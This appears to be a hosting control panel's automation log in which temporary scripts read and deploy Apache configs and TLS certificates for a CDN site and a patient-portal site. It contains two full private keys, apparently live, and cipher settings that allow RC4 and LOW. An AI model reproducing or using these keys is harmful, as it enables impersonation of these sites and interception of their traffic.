sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:02:24:
chmod 755 /tmp/pkp730713; /tmp/pkp730713; rm /tmp/pkp730713
2025-08-30 06:02:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 1656
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-08-30 06:02:24:
PUT: /tmp/pkp750544
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:02:24:
chmod 755 /tmp/pkp750544; /tmp/pkp750544; rm /tmp/pkp750544
2025-08-30 06:02:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt 5369
ef:64:7f:d1:38:c8:d7:92:bb:4a:14:1c:90:1d:1d:7e
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBuavTtACnwucK8NB6Kr4FOvfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMzUyWhcNMjUxMTI4MDUwMzUxWjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDWAqXce05lokV/aV19muOyGRwMEXpC3LPFzgMVwNzBIKQyJ/U0
dnwbqYdk8vUuf2y603Ts0AFcekjoi2pFCl4sRfr14Oyl2E0Bnf6efwqkOlUCSLN+
FF46tWVr8yLNzSM6hsVDtMYPifok5gnfkT770y+eIlMDQczCtTKEy44wJoMQ9HRK
75QIB+RMGZrNjE9ux5AszaMf9C4TiimeMqxmIXPRQZue8CKSVojitiRCFQpOqyG5
sx2+8SGlEONWpEKoHcpy6Y3UFhBHrg0V7VsmNsLEwgImlVA2h1OwLZHpQVFQGSI3
SziHMZgYh8zKeIV58hkoFhSYkgMisHhxA7NhAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFA+ZWR3ik313Ak0l/l0nBA5Fhdj0MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTYuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQA
AAGY+ZHdrAAABAMARzBFAiEAqZVOzPWH4vpsoWZQCECeRh1+dVqRz1LXoM1gvoIV
wkgCIGqatdsGZ1DkD5NJq8+J96lHZVcHyXGEU1tDbVvBNhAPAHYA7TxL1ugGwqSi
AFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGY+ZHdyQAABAMARzBFAiEAgPDeNSsQ
fIXcXZ6v1rkyAvmmgq7LuiR14guEXQ93FSYCIGAOYvykmB0LVX4l1/u2sT4BK/Ej
o2P/Nuydxnm/DEznMA0GCSqGSIb3DQEBCwUAA4IBAQAcj2H+GZ6j36yaVJM78xHG
2cTC9eNKhDiUloRmF/u1//fwXeu2J/8hXOdQmsNXf6mDoBRLmKpGYGRMBpGFOYPf
Q7Fr8hIgBMxGAbmSRCbBRUULwYMJ0Cw2dfAcBpqYkYAs+iMpAexh3tgE2dhy2XQX
6FOADxZ0/gBCgbdfdX1vhFV/Jnb1VrOUjHCKzdH4gDPhg8kmu70ZEWQMDi2VW4nM
Ba1PxagqDFmgmPCuhA1Q8jaPFayKFZKCqdy4Op0eDxWYEIh1vT/DC9shST+kBQKR
I4mKZRcN9sKDHfqf0nR77mfnqWeVb06I5qC1ryZSEq8jomDUIyl69UhFvg6gXCRs
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWAqXce05lokV/
aV19muOyGRwMEXpC3LPFzgMVwNzBIKQyJ/U0dnwbqYdk8vUuf2y603Ts0AFcekjo
i2pFCl4sRfr14Oyl2E0Bnf6efwqkOlUCSLN+FF46tWVr8yLNzSM6hsVDtMYPifok
5gnfkT770y+eIlMDQczCtTKEy44wJoMQ9HRK75QIB+RMGZrNjE9ux5AszaMf9C4T
iimeMqxmIXPRQZue8CKSVojitiRCFQpOqyG5sx2+8SGlEONWpEKoHcpy6Y3UFhBH
rg0V7VsmNsLEwgImlVA2h1OwLZHpQVFQGSI3SziHMZgYh8zKeIV58hkoFhSYkgMi
sHhxA7NhAgMBAAECggEBAKow1OIwFTpx/77Bdh3rTWRW350hUQ9XIIgPuxhTlbro
UGuqpy+fgjclbIz1QdJGd5tjijrBeDOo884rAMoC4r1msZtT0h5Zk3PTx6cX9MiB
sxTr6AI+BGm/0/YzFtx/ZKKohru/STsWSR2K6xMmGOZ/HgEt3sJaU5IMMy60ClFy
+qzI4l2AVjabMNCYDZpaQtJYgC+QhQOnBEdJ8J/5cbjXGrM02oHr8BqK46zS75KP
jGi6KO9f94jyO3jl18ZzSqU6t5p01BhCIHQ16Rs6EJwjtax4OEj4WMxXD+iczWnY
Be+OfjLRCMHxK8O93AS4/D6heTc0jVqHOeYo/rDAnNkCgYEA7zfsgoA4Oa79JTSo
zIYEDQqrQzLhpL8IavthcIiqTELwOO2MVg6KtnxwOMmoctaeuGPhe8OWfZPvXsG+
XR2k+xWqqbu3dLJW4fTSf4munGvAiX0slysOQYTPqaq+HMmawFK9HnFt/RHx4Hvb
8b9UU45Lg1kWgxXhGpwjdZ40d08CgYEA5QYEQ8UkhF6iepS9Xzp/JZgmn3oKiwQi
aZ39C+jVdH25lmWwlk/4F6MkaxNaRyXQuWZ8qQxgyflPIcfqynUuyEqj8sN+OHbw
ME5x5pDqXmJ/VNWtMByzG9XNGT0flF7DC/yKvPxNThHF2Aa4w+9YQbgbNv7DWGsz
CHdKO+vGfk8CgYAJk/OkRf36UUdRdgpMJhGDdCnnRuJB9mQf5HDCULaA1y1HGjvE
NlDXfaQAohJchrtUJqugiPQ9ku7CnH9Cuy0f4H40zY9K3Nkdsu+6q4iSOr46wwhG
BTNM7ERkRrHV9Tx89tMbpO8CcvV8R3lG9KIrtkbPu4FrPjUFG7tPukXfgQKBgBKb
y4rqIM50lgUZws1TBnO6iiDZHLQw8M7eHGp0T6u4b3Tt7Ew6UTEye0oL94DibLQz
xJtDuzWOAUUAZm5u2Q9DKVEXW1EhMODr7stKKRDkNe5hskG/gzoWxCRx1/gJPxXh
PjCe23Ulcorb+PVKpEQqvmNYjezIQQxGDQ0TWjx3AoGAfZ8xFTZLzIBUAkD0B/ih
4RomzvQTQR6/xD4gjVxxZdLq0NJ98ygICCWnlNcqdrFmDvhbQ5P/rDBdFwaTTV2j
AGJ9jLCcutt0+cCRws5v97kNupATQcKXbsuy/B4/R78zFlQwak8cH9DKewKPHmo0
iM+XePcX6FQH9poGFzPirc8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-08-30 06:02:24: Establishing a connection
2025-08-30 06:02:24: Establishing a connection
2025-08-30 06:02:24:
PUT: /tmp/pkp385403
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-30 06:02:25:
chmod 755 /tmp/pkp385403; /tmp/pkp385403; rm /tmp/pkp385403
2025-08-30 06:02:25:
0
2025-08-30 06:02:51: Establishing a connection
2025-08-30 06:02:51:
PUT: /tmp/pkp987702
#!/bin/bash
temp_file=$(mktemp)
TARGET=01745ae0ff7ef97623b09d98f99c6ad6.crt
cat > $temp_file <<'endmsg'
be:8b:dd:39:ee:74:fe:7d:c8:f0:50:73:c9:76:b4:8a
-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBt76Dv+h39GoNJsKOX80RrpdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNDIwWhcNMjUxMTI4MDUwNDE5WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAnZIZUtypx6N1QZGQ3ftlA3ukU3Qb9TeXi3WVNRb4P+Jp
hZm7U7vzWt+TGVqc+FKJfMqfIN1gGC7k+VlrlTtW2A53jr4PazMsvKPIMcqoGdDZ
m12h6e5upxqTVcVbMrHrKgUCgZY/Joj3QLM3foxVWPVjpUWW8qeygGuuQLxGH5mX
DOavsr6qO4tx+taEdYDUwx6vflJuvDND/SmxqltgOuX1QIkGqYawln2PUzLd5kST
27r4ifNegCzM8ZIc53p7NaTuTZKjLBUCp5BhBk9Y1X+habz0ybO/+SzCCOYNx3L1
eqvSWherjR41ImjK5ltjhBLOo1aMluTG9Lhpq4o7fQIDAQABo4ICKzCCAicwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQQc2bA6mGGYiIJZgU3RnvPbAGZXDAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85NC5jcmwwggED
BgorBgEEAdZ5AgQCBIH0BIHxAO8AdQDM+w9qhXEJZf6Vm1PO6bJ8IumFXA2Xjbap
flTA/kwNsAAAAZj5kktJAAAEAwBGMEQCIAmQZY6HaSzEvjQtq9NI+EMD+XT7xxTr
MqDBVkZ5GHRiAiAgQUvjto9B4sqpmqm0qgQwPrQ5v1TW/eS+GLV8RarVVwB2AO08
S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmPmSS1EAAAQDAEcwRQIh
ALY2BRsBG4zY6bJX4rpM5lWcb9CTt6oxg5FKeNNwBLHtAiAEkSO4rcsVSt3TBk/l
4JKCBkV08ASXB/jAHqXVN7q4ITANBgkqhkiG9w0BAQsFAAOCAQEApRdFYDM2D+CF
WArXfgH+/dEvLqfxDminq2TWU5m2Fi+tyOS9tiER0p/WV4VcJgcTFtphH9vFdw/g
XZ23FneiPlsixgG3Fg9hbwWkSyEL/qyrfUD/rMwLuWpRERBNoMU8UZFQcTZ955w8
/jW+yUltpvlRGwnmd2VA3fH/JINpPdKaHh0rOukcHnvEDfPtc9geVEVkmJ+284a+
b+7qHJDoaBLxdhPeYUu33MQxzpvAha1SdJywRD4IB48H1X4rv6Cabld0ta/rWfCv
lFIxNwPzZ+AyeHR1Xw3tffuSb7Ct4AJvgyUrODClIePxE1+COqxafa6Gbo2NvvQs
p0Qjbx4ldA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCdkhlS3KnHo3VB
kZDd+2UDe6RTdBv1N5eLdZU1Fvg/4mmFmbtTu/Na35MZWpz4Uol8yp8g3WAYLuT5
WWuVO1bYDneOvg9rMyy8o8gxyqgZ0NmbXaHp7m6nGpNVxVsysesqBQKBlj8miPdA
szd+jFVY9WOlRZbyp7KAa65AvEYfmZcM5q+yvqo7i3H61oR1gNTDHq9+Um68M0P9
KbGqW2A65fVAiQaphrCWfY9TMt3mRJPbuviJ816ALMzxkhznens1pO5NkqMsFQKn
kGEGT1jVf6FpvPTJs7/5LMII5g3HcvV6q9JaF6uNHjUiaMrmW2OEEs6jVoyW5Mb0
uGmrijt9AgMBAAECggEAK05oH1n+X5wRMgAr7JaXYKmutDEJLhAlWnLqmzjA6e30
Sn/B+HWDoMopx6Ib2jP1DZMywPmW246n59AnvVAdwivXuCeMXU4nUYFCGE02fkHk
TMsjIQQi7VJkhAJF2l0D4PyXf74nhRPHwMSA0AsJufVXeajyn6ZvbNQrhCc6rpw9
ZSMlK3F3TODuB9kVPK6cIAwBa8ZtcaFXNzMpEnjG5OgCQDKE3E59LJg7XQ7XX6f3
Q1BSSAYyjNpDpOwAcj9GRb6wBtDUg9o3eLvwwoBVytjWhxm/3U7kx2tV4NhZ/7qa
hsyB6eBCB1fHjYjGE+YyLbcVSxdNvq10GVmd6ncAkQKBgQDRSprhdNaXNd13uxFn
RR/EDLi5e5Ut2E1bQZT+UPfB5L63mSU/iKpik7n0gDcBv9Gu/1vOyg5eNmMAMHt8
3s8iqCQkdtUSr4L/L3/hBJa+v8ybbJb3iV4zNOk/aj1n3XeO//3+DaYVYXZrzqOX
C5LNAo1hhsdlPk4qmXDvr0IGowKBgQDAvIvmmBdy9A1yIwQW6QiJbR2RnW7WsRcv
2Hv3bvda1JsAXZYTcGeDAkoO1rRkYvKYv2I12puR5amAW6vW64I8OfmvcEhnbjSA
1yCua1WtT+CZLUwYGS52rPQDnLG0LrTQ8PFbrwye39jr37uZqkknwvBR9nXmZOEo
6MHF/nx3XwKBgHKGVpZEryBzU0svTGisRKOtKnAlFg7OLBZhnrxDZi/tkgc5gE5x
5Hqox7rpZjBI3N7b0Uso+g/HxwjVft1ntwUJ6S0i8ZmV/SLSxTFGp46ducLa+wld
W/S9YV1YL13krIXNwxkAMv/EI17+5jnDFYOlf+P8MqROIcvhxxEBYCntAoGBAKER
sNTfy9DsdgQpkTRYQSMgBjL333YZ/uekQk1Q9fR5cqPGkjHioQ7SLfPiqFSwgE74
uemJrLMrvBCiC6SLooYUaT6dVlThu4zku9Inry0scOVx/oKxIKxa833FSJjs430t
rnbRfnmTVqQgkJXlwkcxWUcV8ge9zJE0myOM/pV/AoGBAIxkj4+JfZc3/QECIxmd
Yqr/rsNKbuAmBe7YAdltZoLnsMv7zaNhMjnaJ/cPDAi+ysvwbKUZFPBinl7HsWH+
Tj7yHEl1X+pIHyhMjs0UYky8j3pP2B7X55BNOU6AcT4x/3ayIxN2yps+1Iq82zqP
QSujZhsebJuqwO8dky0BJo94
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-30 06:02:51:
chmod 755 /tmp/pkp987702; /tmp/pkp987702; rm /tmp/pkp987702
2025-08-30 06:02:51:
dir=/etc/ssl/certs
2025-08-30 06:02:51:
PUT: /tmp/pkp295268
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-30 06:02:51:
chmod 755 /tmp/pkp295268; /tmp/pkp295268; rm /tmp/pkp295268
2025-08-30 06:02:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 52
<VirtualHost *:80>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2025-08-30 06:02:51:
PUT: /tmp/pkp810010
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_athenahealth_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf= 1'
fi
